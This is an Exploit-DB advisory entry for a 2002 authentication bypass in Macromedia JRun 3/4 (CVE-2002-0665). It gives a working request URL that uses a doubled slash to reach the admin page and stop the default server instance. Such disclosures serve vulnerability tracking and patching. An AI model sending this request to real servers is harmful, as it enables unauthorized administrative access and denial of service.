Macromedia JRun 3/4 Administrative Authentication Bypass Vulnerability

2002-06-28T00:00:00
ID EDB-ID:21582
Type exploitdb
Reporter Matt Moore
Modified 2002-06-28T00:00:00

Description

Macromedia JRun 3/4 Administrative Authentication Bypass Vulnerability. CVE-2002-0665. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/5118/info

Macromedia JRun is prone to an issue which may allow remote attackers to bypass the authentication page for the admin server. This may be exploited by adding an extraneous '/' to a request for the administrative authentication page.

http://JRun-Server:8000//welcome.jsp?&action=stop&server=default

will shutdown the 'default' JRun server instance on port 8100. Other
administrative functions can also be accessed.